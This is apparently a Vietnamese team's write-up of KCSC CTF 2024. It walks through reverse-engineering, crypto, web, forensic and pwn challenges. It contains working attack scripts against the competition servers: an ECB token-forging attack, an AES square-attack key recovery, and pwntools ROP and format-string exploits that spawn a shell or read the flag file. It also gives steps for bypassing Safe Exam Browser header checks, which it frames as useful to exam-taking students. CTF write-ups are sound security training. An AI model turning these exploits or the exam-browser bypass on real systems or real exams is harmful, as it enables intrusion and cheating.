# KCSC CTF 2024
## Rev
### f@k3
Load chương trình vào ida, mình thấy chương trình khá là đơn giản, chỉ là sử dụng thuật toán `RC4`, tiến hành lấy cipher và decrypt bằng `Cyberchef` thì được kết quả như sau

Mình submit thử thì thấy nó không đúng thật, dù khi chạy file vẫn trả về `Correct!`, mình thử nhập 1 string khác vào vẫn trả về `Correct!` :V

Mình tiến hành phân tích lại file, có 1 hàm như sau

Hàm trên thực hiện hook sửa địa chỉ của hàm `lstrcmpA` thành địa chỉ của `sub_7FF764A611D8`, đây có lẽ là lý do mà ta nhập gì vào cũng trả về `Correct!`
Mình debug lại và nhảy vào hàm `lstrcmpA`

Sau khi đọc mãi, vẫn không nghiệm ra được là đoạn code này có tác dụng gì không vì trong vòng for không thực hiện hành động gì cả :V. Sau đó author có up lại file thì code của vòng for giờ như sau

#### Solution
##### 1. Intend
Ở đây key được gọi đến ở 1 hàm khác, ở đó key được biến đổi từ `F@**!` --> `FA++!`, có lẽ key này mới là key chuẩn cho việc sử dụng mã hóa rc4, ta patch lại là được


Cipher có được sau khi sử dụng RC4
Ở vòng for lấy 4 byte đầu của chuỗi này xor với data phía trên, mình có xor thử bên ngoài thì chữ đầu tiên là `K` trong `KCSC` --> đến đây là xong rồi :vvvvv

##### 2. Unintend
Mình sử dụng solution này trong lúc thi. Tức là mình sẽ không patch lại key chuẩn mà vẫn dùng key sai để cho ra fake flag bên trên. Vòng for này sẽ xor `KCSC` với data ở bên trên ra cipher như dưới đây

Ta có thể thấy được rằng lấy 4 byte đầu của cipher xor với 4 byte đầu của data sẽ ra được là `KCSC` vừa đúng format flag. thế là mình lấy 4 byte đầu đó xor thử với toàn bộ data thì ra được flag thật =))))
```python=
#script
key = bytes.fromhex("2D 0E 5F E2")
enc = bytes.fromhex("66 4D 0C A1 56 3F 2B BD 4E 61 6A 8E 49 51 3D 87 72 7C 36 85 45 7A 68 BD 4B 62 3E DB 72 66 3A 90 48 51 01 CC 73 4E 1F 9F")
for i in range(len(enc)):
print(chr(key[i%4] ^ enc[i]),end="")
#KCSC{1t_co5ld_be_right7_fla9_here_^.^@@}
```
## Crypto
### Evil ECB
```python!
def login(self, token):
try:
data = json.loads(unpad(self.cipher.decrypt(bytes.fromhex(token)), 16).decode())
if data['username'] not in self.users:
return '[-] Unknown user'
if data['username'] == "admin" and data["isAdmin"]:
return '[+] Hello admin , here is your secret : %s\n' % flag
return "[+] Hello %s , you don't have any secret in our database" % data['username']
except:
return '[-] Invalid token !'
```
Mục đích của bài này đó là mình phải đăng kí được username là admin và isAdmin = True thì mình sẽ có được flag tuy nhiên khi đăng kí thì mình chỉ có được là username khác admin và isAdmin gắn mặc định là False
```python!
def register(self, user):
if user in self.users:
return '[-] User already exists'
data = b'{"username": "%s", "isAdmin": false}' % (user.encode())
token = self.cipher.encrypt(pad(data, 16)).hex()
self.users.append(user)
return '[+] You can use this token to access your account : %s' % token
```
Tuy nhiên khi đăng kí thì username trong register là cái gì cũng được và do nó được mà hóa bằng ecb nên các khối không liên quan đến nhau điều này cho phép ta chỉ cần lấy phần mã mà ta mong muốn, vậy nên đơn giản là mình chỉ cần chèn thêm đúng cái {"username": "admin", "isAdmin": true} vào và thêm phần đệm sao cho phù hợp nữa là xong vì đoạn đầu nó có cái `{"username": "` thì cái này đã mất 14 byte rồi thì việc của mình là cho thêm 2 byte bất kỳ để cho nó thành 1 khối rồi bắt đầu từ khối sau thì mình sẽ chèn cái đoạn `{"username": "admin", "isAdmin": true}` mà mình muốn vào mà length của đoạn này là 38 nên mình sẽ cần đệm thêm 10 bytes([10]) nữa để sao cho đủ 48 byte thế là xong đoạn này và còn phần `isAdmin: false` ở đằng sau thì mình để nó tự padding cũng được
```
b'{"username": "\x02\x02'
b'{"username": "ad'
b'min", "isAdmin":'
b' true}\n\n\n\n\n\n\n\n\n\n'
b'", "isAdmin": fa'
b'lse}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'
```
không hiểu sau cái đoạn ở sau 3 khối 2,3,4 nó padding kiểu gì mà nếu mình không để padding đằng sau thì nó lại bị lỗi(cái này làm mình tốn đống thời gian) trong khi cái mình lấy ra chỉ có 3 khối là 2,3,4 không liên quan phía sau. Nhưng sau 1 hồi thì mình thêm 1 vài bytes đằng sau cho nó padding vì đoạn sau mình không lấy nhưng lần này nó lại được.
* Script
```python!
from Crypto.Util.number import *
from pwn import *
io = remote("103.163.24.78",2003)
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b'Username: ')
io.sendline(b'aa{"username": "admin", "isAdmin": true}\n\n\n\n\n\n\n\n\n\na')
io.recvuntil(b'[+] You can use this token to access your account : ')
sendl = io.recvline()[32:128]
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b'Token: ')
io.sendline(sendl)
print(io.recvline())
io.close()
```
Flag: KCSC{eCb_m0de_1s_4lways_1nSecUre_:))}
### KCSC Square
Mở file aes.py thì mình thấy đây là mã hóa aes nhưng chỉ có 4 rounds là loại tấn công cho loại này là square attack. Link tham khảo: https://www.davidwong.fr/blockbreakers/square_2_attack4rounds.html

Các bước tấn công như sau:
1.Generate 𝛬-set với active index là i, sau đó encrypt toàn bộ các phần tử trong set. Ta gọi tập các phần tử nhận được là enc-𝛬-set
2.Đoán roundKey[4][i] = guess là một giá trị từ 0-255
3.Với mỗi ciphertext trong enc-𝛬-set, ta sẽ thay đổi ciphertext[i] = ciphertext[i] ^ roundKey[i]. Sau đó, ciphertext mới của chúng ta sẽ đi qua 2 bước là InvShiftRows và InvSubBytes. Ta gọi tập các phần tử nhận được lúc này là enc2-𝛬-set
4.Kiểm tra xem enc2-𝛬-set của chúng ta có thỏa mãn tính chất (*) hay không. Nếu có, guess có thể chính là giá trị ta đang cần tìm.
5.Nếu có nhiều giá trị guess thỏa mãn, ta nên regenerate 𝛬-set cho đến khi chỉ tìm được duy nhất 1 giá trị thỏa mãn
- lib aeskeyschedule: https://github.com/fanosta/aeskeyschedule
```python!
# script được modify từ: https://hackmd.io/@Giapppp/square_attack?utm_source=preview-mode&utm_medium=rec#T%C3%A0i-li%E1%BB%87u
from pwn import *
from tqdm import tqdm
from aeskeyschedule import reverse_key_schedule
from aes import *
import os
r = remote('103.163.24.78', 2004)
inv_s_box = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
plaintext = []
ciphertexts = []
def encrypt(pt: bytes):
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'Plaintext in hex: ')
r.sendline(pt.hex().encode())
ct = r.recvline().decode()
return bytes.fromhex(ct)
def find_key_bytes(idx: int):
real_ans = set(list(range(256)))
while True:
ans = set()
A_set = []
init = os.urandom(16)
for i in range(256):
temp = bytearray(init)
temp[idx] = i
A_set += [encrypt(temp)]
for i in range(256):
A_set_dec = 0
for ele in A_set:
A_set_dec ^= inv_s_box[ele[idx] ^ i]
if A_set_dec == 0:
ans.add(i)
real_ans.intersection_update(ans)
if len(real_ans) == 1:
return real_ans.pop()
def process_idx(idx):
ans = find_key_bytes(idx)
return ans
key = []
for i in tqdm(range(16)):
ans = find_key_bytes(i)
key.append(ans)
hexkey = reverse_key_schedule(bytes(key), 4).hex()
r.recvuntil(b'> ')
r.sendline(b'2')
r.recvuntil(b'Key in hex: ')
r.sendline(hexkey)
r.interactive()
```
## Web
### I. Itest develop
#### Bài này giúp sinh viên KM4 cũng như sinh viên các trường sử dụng SEB trong các kỳ thi biết cách bypass config

## 1. Local test
- Set-up như sau

- Build docker rồi vào `Safe Exam Browser`

- Đọc source js và chú ý đoạn sau

- Seb sẽ tạo và gửi 2 header như sau lên server
```jsonld=
x-safeexambrowser-configkeyhash:sha256(url + configKey)
x-safeexambrowser-requesthash:sha256(url + broswerKey)
```
- Do đó khi ta vào trang `http://localhost:10003/` sẽ hiện ra

- Thêm code in ra `header:value`
```jsonld=
reply.type('text/html').status(403).send('pls use on safe exam browser || x-safeexambrowser-configkeyhash:' + configKeyHash + " || x-safeexambrowser-requesthash:" + broswerExamKeyHash + " || " + `http://itest.kcsc.tf:10003${req.url}`)
```
- 
- Add header

## 2. Exploit server
- Lấy key bằng cách add config của file `kcsc-ctf.seb` vào SEB

- Add config nhưng phải có mật khẩu của file `SEB`

-> Tại đây guessing do mình thử pass `KCSC` do phần này khác với seb thông thường

- Qua Exam để lấy 2 key về file `.env`

- Sửa code để lấy `header:value` để gửi lên server
```jsonld=
let configKeyHash = calculateConfigKeyHash(fastify.config.CONFIG_KEY, `http://itest.kcsc.tf:10003${req.url}`)
let broswerExamKeyHash = calculateBrowserExamKeyHash(fastify.config.BROWSER_EXAM_KEY, `http://itest.kcsc.tf:10003${req.url}`)
if (req.headers['x-safeexambrowser-configkeyhash'] !== configKeyHash || req.headers['x-safeexambrowser-requesthash'] !== broswerExamKeyHash) {
reply.type('text/html').status(403).send('pls use on safe exam browser || x-safeexambrowser-configkeyhash:' + configKeyHash + " || x-safeexambrowser-requesthash:" + broswerExamKeyHash + " || " + `http://itest.kcsc.tf:10003${req.url}`)
}
```
- Lấy key rồi đưa sang attack server

- Có cookie và flag location


#### Flag: KCSC{-Ban-Da-Bi-Dinh-Chi-Thi-Mon-Nay-17c6c806-173f-45dd-b7bf-9f33f849df21}
## Forensic
### Externet Inplorer
Bài này ta chỉ cần dùng tool để tìm timestamp thôi: https://dfir.blog/unfurl/

Flag: KCSC{2023-09-18_08:32:22.547027}
## Pwn
### Simple Qiling
Dựa vào link này để có thể có môi trường chạy binary : !linkhttps://docs.qiling.io/en/latest/install/
Đòng thời mình dựa vào bài WU này để biết được một số thông tin quan trọng để có thể solve challenge , https://ptr-yudai.hatenablog.com/entry/2023/07/22/184044#qjail .
Mình đã compile một file binary tĩnh sau đó chạy nó để test thử , thì mình có thể thấy canary luôn là 0x6161616161616100 :

Sau đó mình cũng biết được rằng địa chỉ libc cũng sẽ luôn cố định :
Đây là ảnh memory của chuiowng trình khi mà nó crash , chạy nó 1,2 lần thì thấy địa chỉ này không bao giờ thay đổi :

exploit :
```python!
#!/usr/bin/env python3
from pwn import *
libc = ELF('./libc-2.31.so',checksec=False)
context.binary = exe = ELF('./simpleqiling',checksec=False)
def GDB():
gdb.attach(p,gdbscript = '''
c
''')
input()
# p = process(["python3", "qi.py", "simpleqiling"])
p = remote("103.163.24.78",10010)
exe.address = 0x555555554000
libc.address = 0x7fffb7dd6000
RDI = libc.address + 0x0000000000023b6a
RSI = libc.address + 0x000000000002601f
RDX = libc.address + 0x0000000000142c92
ret = libc.address + 0x0000000000022679
xchg = libc.address + 0x00000000000f1b65
RAX = libc.address + 0x0000000000036174
syscall = libc.address + 0x00000000000630a9
RSP = libc.address + 0x000000000002f70a
payload = flat(
b"a"*0x28,
0x6161616161616100,
0x00000555555558500,
RDI,0x000005555555585a0,
libc.sym['gets'],
RDI,0x000005555555585a0,
libc.sym['puts'],
RSP,0x000005555555585a0 + 0x10 + 0x100,
)
# GDB()
p.sendline(payload)
payload = flat(
b"./flag.txt",b"\x00"*6,
b"a"*0x100,
RDI,0x000005555555585a0,
RSI,0,RDX,0,
libc.sym['open'],
xchg,
RSI,0x00000555555558500,
RDX,0x100,
libc.sym['read'],
RSI,0x00000555555558500,
RDX,0x100,
RDI,1,
libc.sym['write']
)
sleep(1)
p.sendline(payload)
p.interactive()
```
### KCSC BANKING
Chúng ta có thể dễ dàng thấy một bug format string trong hàm info

Exploit : +) sử dụng formattring để leak địa chỉ
+) Ta có thẻ tháy ở hàm logging , ta có thể tháy chương trình cho ta nhập rất nhiều byte cho username và password , nếu như debug có thể thấy nếu nhập đủ nhiều ký tự cho thì username của ta sẽ vẫn còn sót lại ngay cạnh địa chỉ trả về của hàm info .
+) Vậy bây giờ ta chỉ cần sử dụng formatstring để có thể ghi đè địa chỉ trả về của hàm info thành lệnh ret , trong username lúc đăng nhập ta sẽ chỉnh sao cho ngay sau địa chỉ trả về của hàm info sẽ là lệnh add rsp bao nhiêu đó để có thể nhảy vô payload ta chuẩn bị ở password
+) Vậy ở password ta chỉ cần ROP để có shell là được
```python!
from pwn import*
libc = ELF("./libc.so.6",checksec = False)
context.binary = exe = ELF("./banking",checksec = False)
def GDB():
gdb.attach(p,gdbscript='''
c
''')
input()
# /usr/lib/x86_64-linux-gnu/libc.so.6
# p = remote("0",10002)
p = remote("103.163.24.78",10002)
# p = process(exe.path)
def reg(username,password,fullname):
p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"username: ",username)
p.sendlineafter(b"password: ",password)
p.sendlineafter(b"name: ",fullname)
def login(username,password):
p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"Username:",username)
p.sendlineafter(b"Password:",password)
def info():
p.sendlineafter(b'>',b"3")
input("Set the break point")
# GDB()
acc = b"DQP"
S2 = b"1"
payload = b"%p || "*5 + b"^%p^" + b" $ %p$" + b"|%p|"*3 + b"&&& %p&"
reg(acc,S2,payload)
login(acc,S2)
info()
p.recvuntil(b"^")
stack = int(p.recvuntil(b"^",drop=True),16)
log.info('[+] STACK : ' + hex(stack))
p.recvuntil(b"$ ")
exe.address = int(p.recvuntil(b"$",drop=True),16) - 0x17d6
p.recvuntil(b"&&& ")
libc.address = int(p.recvuntil(b"&",drop=True),16) - 0x55b32
log.info('[+] EXE LEAK : '+ hex(exe.address))
log.info('[+] LIBC LEAK : '+ hex(libc.address))
one = libc.address + 0xe35a9
RDI = libc.address + 0x00000000000240e5
RDX = libc.address + 0x0000000000026302
RSI = libc.address + 0x000000000002573e
# ########## change the stack #############
saverip = stack - 0x128
one_stack = stack - 0x108
ret = exe.address + 0x000000000000101a
RSP58 = libc.address + 0x000000000009ac55 # add rsp, 0x58; ret;
payload = flat(
b"A"*0x58,
p64(saverip),
)
p.sendlineafter(b"> ",b'4')
p.sendlineafter(b"Please leave a feedback:",payload)
acc1 = flat(
RSP58,b"A"*(0x30- 0x18) , p64(RSP58)
)
s3 = flat(
RDI,next(libc.search(b"/bin/sh\x00")),
# ret,
libc.sym['system']
)
s3 = s3.ljust(0x58,b"B")
s3 += p64(saverip)
payload = flat(
f"%{ret & 0xffff}c%31$hn"
)
reg(acc1,s3,payload)
login(acc1,s3)
info()
p.interactive()
```